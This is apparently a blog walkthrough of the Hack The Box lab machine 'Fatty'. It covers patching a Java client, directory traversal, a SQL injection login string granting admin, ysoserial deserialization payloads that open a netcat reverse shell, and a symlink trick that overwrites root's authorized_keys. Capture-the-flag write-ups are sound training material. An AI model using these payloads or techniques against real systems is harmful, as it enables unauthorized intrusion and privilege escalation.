HTB: Fatty


This machine is Fatty from Hack The Box


kali@kali:~$ nmap -sV -p-
Starting Nmap 7.80 ( ) at 2020-02-27 20:37 GMT
Nmap scan report for
Host is up (0.024s latency).
Not shown: 65530 closed ports
21/tcp   open  ftp                vsftpd 2.0.8 or later
22/tcp   open  ssh                OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
1337/tcp open  ssl/waste?
1338/tcp open  ssl/wmc-log-svc?
1339/tcp open  ssl/kjtsiteserver?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 48.63 seconds


I connected to ftp

kali@kali:~$ ftp
Connected to
220 qtc's development server
# Name ( anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Oct 30 12:10 .
drwxr-xr-x    2 ftp      ftp          4096 Oct 30 12:10 ..
-rw-r--r--    1 ftp      ftp      15426727 Oct 30 12:10 fatty-client.jar
-rw-r--r--    1 ftp      ftp           526 Oct 30 12:10 note.txt
-rw-r--r--    1 ftp      ftp           426 Oct 30 12:10 note2.txt
-rw-r--r--    1 ftp      ftp           194 Oct 30 12:10 note3.txt
226 Directory send OK.

I’ll download the lot

ftp> get fatty-client.jar
local: fatty-client.jar remote: fatty-client.jar
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for fatty-client.jar (15426727 bytes).
226 Transfer complete.
15426727 bytes received in 1.51 secs (9.7692 MB/s)

ftp> get note.txt
local: note.txt remote: note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (526 bytes).
226 Transfer complete.
526 bytes received in 0.00 secs (1.0788 MB/s)

ftp> get note2.txt
local: note2.txt remote: note2.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note2.txt (426 bytes).
226 Transfer complete.
426 bytes received in 0.00 secs (759.1526 kB/s)

ftp> get note3.txt
local: note3.txt remote: note3.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note3.txt (194 bytes).
226 Transfer complete.
194 bytes received in 0.00 secs (424.7828 kB/s)

And took a look at them

kali@kali:~$ cat note.txt
Dear members,

because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337.
Furthermore, we created two new instances of the server on port 1338 and 1339. They offer exactly the same server and it would be nice
if you use different servers from day to day to balance the server load.

We were too lazy to fix the default port in the '.jar' file, but since you are all senior java developers you should be capable of
doing it yourself ;)

Best regards,

kali@kali:~$ cat note2.txt
Dear members,

we are currently experimenting with new java layouts. The new client uses a static layout. If your
are using a tiling window manager or only have a limited screen size, try to resize the client window
until you see the login from.

Furthermore, for compatibility reasons we still rely on Java 8. Since our company workstations ship Java 11
per default, you may need to install it manually.

Best regards,

kali@kali:~$ cat note3.txt
Dear members,

We had to remove all other user accounts because of some seucrity issues.
Until we have fixed these issues, you can use my account:

User: qtc
Pass: clarabibi

Best regards,

So I likely need to modify this jar file, to connect to a server on port 1338/1339. I need to use java 8 and I have some initial creds. So I installed JDK 8 and opened the jar in JD-GUI, where I found the port is set via a file called beans.xml

Screenshot 1

I also added server.fatty.htb to hosts. Then extracted the file I wanted to edit

kali@kali:~$ 7z e fatty-client.jar beans.xml

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,6 CPUs AMD Ryzen 9 3900X 12-Core Processor             (870F10),ASM,AES-NI)

Scanning the drive for archives:
1 file, 15426727 bytes (15 MiB)

Extracting archive: fatty-client.jar
Path = fatty-client.jar
Type = zip
Physical Size = 15426727

Everything is Ok

Size:       1550
Compressed: 15426727

I then modified the port to 1338 and put the file back in

kali@kali:~$ 7z u fatty-client.jar beans.xml

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,6 CPUs AMD Ryzen 9 3900X 12-Core Processor             (870F10),ASM,AES-NI)

Open archive: fatty-client.jar
Path = fatty-client.jar
Type = zip
Physical Size = 15426727

Scanning the drive:
1 file, 1550 bytes (2 KiB)

Updating archive: fatty-client.jar

Items to compress: 1

Files read from disk: 1
Archive size: 15425746 bytes (15 MiB)
Everything is Ok

I then tried to run it and use the creds provided

kali@kali:~$ java -jar ./fatty-client.jar
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

Screenshot 2

But I got

Exception in thread "AWT-EventQueue-1" org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from class path resource [beans.xml]; nested exception is java.lang.SecurityException: SHA-256 digest error for beans.xml

So I need to resign the jar. First wiping away the old sigs

kali@kali:~$ zip -d fatty-client.jar 'META-INF/.SF' 'META-INF/.RSA' 'META-INF/*SF'
        zip warning: name not matched: META-INF/.SF
        zip warning: name not matched: META-INF/.RSA
deleting: META-INF/1.SF

Then signing it again myself

kali@kali:~$ keytool -genkey -alias fatty -validity 365

kali@kali:~$ jarsigner fatty-client.jar fatty
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter Passphrase for keystore:
jar signed.

Now when I ran it I could login

Screenshot 3

Screenshot 4

There were various options at the top, some were greyed out, first Profile -> whoami

Screenshot 5

Next FileBrowser -> configs

Screenshot 6

Thirdly FileBrowser -> notes

Screenshot 7

Then FileBrowser -> mail

Screenshot 8

Next ConnectionTest -> ping

Screenshot 9

Then Help -> Contact

Screenshot 10

Finally Help -> About

Screenshot 11

I then tried clicking open at the bottom

Screenshot 12

So I tried entering one of the files in the browser

Screenshot 13

I had a look at the various files, security.txt

Screenshot 14

That is a good sign for me, shopping.txt

Screenshot 15

Weird there is more than one 1, schedule.txt

Screenshot 16


Screenshot 17

Okay so it sounds like it could have some major vulns, dave.txt

Screenshot 18

So all the admins are gone, but the login form may be vulnerable to SQL injection. mom.txt

Screenshot 19

That’s sweet. I decided to see if I could download a copy of the server using "server.jar" in the open form

Screenshot 20

At this point I was happy with what I had seen in the client and went back to the code. I found a file called AccessCheck.class which seemed to define the access commands

Screenshot 21

This led to some considerations, such as adding a new command, or modifying it to always allow. I also found the role stuff in Role.class

Screenshot 22

I found the actual commands were defined in Invoker.class, and the buttons are in ClientGuiTest.class

Screenshot 23

Next I found the code for file display

Screenshot 24

So I had a few ideas for what I wanted to modify, but I didn’t want to change too much in one go so it would be easier to track down any bugs I caused. I ended up modifying 2 classes


  • Update the user role to contain numbers 1..12, the same as admin

Screenshot 25


  • Change line 238 to look for the user role
  • Remove line 447 to un-restrict strings in open
  • Add new copy of lines 412…434 to display a directory traversal button

Screenshot 26

Screenshot 27

Screenshot 28

Screenshot 29

I then rebuilt and resigned the program. My new version had all commands enabled, but when I tried to use them

Screenshot 30

There seemed to be server side protections too. But the directory traversal button worked

Screenshot 31

I tried to use it to download the server, and it kind of froze. But it could be a java thread thing so I left it to it. While it was going I began to modify Role in case the access denied was not server side

Screenshot 32

But when I tried this, again no luck. So I modified AccessCheck instead

Screenshot 33

At this point I was fairly confident that it was a server side error, but for one last test I changed the text on the local one in Invoker

Screenshot 34

Which gave

Screenshot 35

The message didn’t change so I was happy it was a server side error. I then modified the menu in the gui class to improve the directory traversal

Screenshot 36

Screenshot 37

Which in the app looked like

Screenshot 38

Screenshot 39

At this point I was able to make it download the server file

Screenshot 40

So I modified the sendAndRecv function in the Invoker to save things to a file, this required some additional imports

Screenshot 41

Which resulted in the following code

Screenshot 42

I then ran this version and used it to download the server, the logs gave

Saving to file
Saved to 2315

I renamed this file server.jar, and opened it in JD-GUI as well

Screenshot 43

I found a potential exploit in the changePW function of Invoker

Screenshot 44

It takes a user object from the client and deserializes it. So I used yososerial to make an exploit

kali@kali:~$ java -jar ./ysoserial-master-SNAPSHOT.jar CommonsCollections1 'nc 4444 -e /bin/bash' > ./payloads/payload1

And modified the change password function on the client to send it in Invoker

Screenshot 45

And in the clientGuiTest, I added a button to trigger this

Screenshot 46

The next issue is only admins are allowed to use the changePW function. I found the previously mentioned SQL injection protections in the server under FattyDbSession

Screenshot 47

So there are no protections, it just sleeps for a few seconds. As it takes the user details from the query, I can use an SQL injection to make myself the admin by setting my username to

' UNION SELECT id,username,email,password,'admin' FROM users WHERE username='qtc

As it will select the string "admin" in place of role. But when I tried this it turned out not to work, as the hash being sent of password was wrong. But this was client side, so I changed it to always be


Which is the hash of the qtc user, (the code uses sha256(username+password+string) for hashes which is why it was wrong). I also re modified the UI to let admins use buttons as I should be one now

Screenshot 48

Then finally I logged in as

username: ' UNION SELECT id,username,email,password,'admin' FROM users WHERE username='qtc
password: anypass

And did the whoami

Screenshot 49

I am an admin, so I tried the users command I couldn’t use before to test it

Screenshot 50

I set a listener

kali@kali:~$ nc -nlvp 4444

And clicked my shell it button

Screenshot 51

No luck yet, but I tried replacing the yososerial payload

kali@kali:~$ sudo java -jar /opt/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections5 'nc 4444' > ./payload1

Which when the button was pressed

connect to [] from (UNKNOWN) [] 40087

It worked, so I generated a new payload for a shell

kali@kali:~$ sudo java -jar /opt/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections5 'nc 4444 -e /bin/sh' > ./payload1

Finally I clicked shell it, and

connect to [] from (UNKNOWN) [] 42291
$ id
uid=1000(qtc) gid=1000(qtc) groups=1000(qtc)

I had a shell

$ ls -la
total 16
drwxr-sr-x    1 qtc      qtc           4096 Oct 30 11:11 .
drwxr-xr-x    1 root     root          4096 Oct 30 11:11 ..
drwx------    1 qtc      qtc           4096 Oct 30 11:11 .ssh
----------    1 qtc      qtc             33 Oct 30 11:10 user.txt

For some reason the user flag isn’t readable, but I just changed that

$ chmod 600 user.txt

$ cat user.txt

And that was user


It quickly became clear I was in a docker container and using pspy64 I saw the following happening about every minute

2020/02/28 15:41:01 CMD: UID=0    PID=989    | /usr/sbin/sshd -R
2020/02/28 15:41:01 CMD: UID=22   PID=990    | sshd: [net]
2020/02/28 15:41:01 CMD: UID=0    PID=991    | sshd: qtc [priv]
2020/02/28 15:41:01 CMD: UID=1000 PID=992    | scp -f /opt/fatty/tar/logs.tar

So I took a look at it

$ cd /opt/fatty/tar

$ ls -la
total 148
drwxr-xr-x    1 qtc      qtc           4096 Feb 28 13:00 .
drwxr-xr-x    1 root     root          4096 Oct 30 11:11 ..
-rw-r--r--    1 qtc      qtc         142848 Feb 28 15:00 logs.tar

At this point I tried various things involving tar files and I must admit someone gave me a nudge in the right direction. The idea was, if they are exfiling the tar then extracting it I can carry out a 2 stage attack, in the first stage I create a real tar file containing a symlink called logs.tar to /root/.ssh/authorized_keys. Once this has been taken and extracted, I then create a file called logs.tar which contains my public key (not a tar file, just called it) which when it is taken by scp, will follow the symlink and overwrite the root authorized_keys file

First I setup both logs.tar files to make it easier to react in time

$ ln -s /root/.ssh/authorized_keys logs.tar

$ tar cf temp.tar logs.tar

$ mv temp.tar /tmp/p1/logs.tar

$ echo "[PUB KEY]" > /tmp/p2/logs.tar

Then copied stage 1

$ cp /tmp/p1/logs.tar /opt/fatty/tar/logs.tar 2>&1

I then waited until I saw the scp in pspy after which I ran

$ cp /tmp/p2/logs.tar /opt/fatty/tar/logs.tar 2>&1

When I next saw the scp in pspy I tested ssh to see if it had worked

kali@kali:~$ ssh [email protected] -i ~/Documents/fatty/id_rsa
Linux fatty 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 29 12:31:22 2020

I had root

root@fatty:~# id
uid=0(root) gid=0(root) groups=0(root)

root@fatty:~# ls -la
total 56
drwx------  9 root root 4096 Feb 28 19:20 .
drwxr-xr-x 22 root root 4096 Jan 10 12:18 ..
lrwxrwxrwx  1 root root    9 Oct 30 12:08 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 Oct 30 12:10 .cache
drwxr-xr-x  4 root root 4096 Feb 28 19:20 client1
drwxr-xr-x  4 root root 4096 Feb 28 19:20 client2
drwxr-xr-x  4 root root 4096 Feb 28 19:20 client3
-rw-r--r--  1 root root  274 Feb 28 19:20 log-puller.log
-rwxr-xr-x  1 root root 2224 Oct 30 12:10
drwxr-xr-x  3 root root 4096 Oct 30 12:10 .m2
drwxr-xr-x  2 root root 4096 Jan 10 12:00 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root   33 Oct 30 12:10 root.txt
drwxr-xr-x  2 root root 4096 Oct 30 12:12 .ssh

root@fatty:~# cat root.txt

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.